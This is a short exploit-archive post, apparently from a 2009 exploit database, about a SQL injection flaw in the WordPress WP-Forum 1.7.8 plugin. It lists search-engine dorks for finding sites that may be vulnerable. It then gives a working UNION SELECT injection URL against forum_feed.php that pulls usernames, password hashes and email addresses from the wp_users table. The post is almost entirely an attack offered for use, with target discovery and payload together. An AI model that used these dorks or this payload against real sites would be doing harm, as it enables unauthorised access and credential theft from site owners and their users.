[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability
# Published : 2009-01-12
# Author : seomafia
# Previous Title : Comersus Shopping Cart <= v6 Remote User Pass Exploit
# Next Title : PWP Wiki Processor 1-5-1 Remote File Upload Vulnerability
-----------------------------------------------------------------------------------------------
# Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability #
-----------------------------------------------------------------------------------------------
Author: [[seomafia]]
#########################
Dorks:
allinurl:page_id inurl:showforum
inurl:plugins/wp-forum
"index of /" wp-forum
#######################
Example :
http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL]
Exploit:
http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/*
#######################
Greetz: Exploit.In
# www.Syue.com [2009-01-12]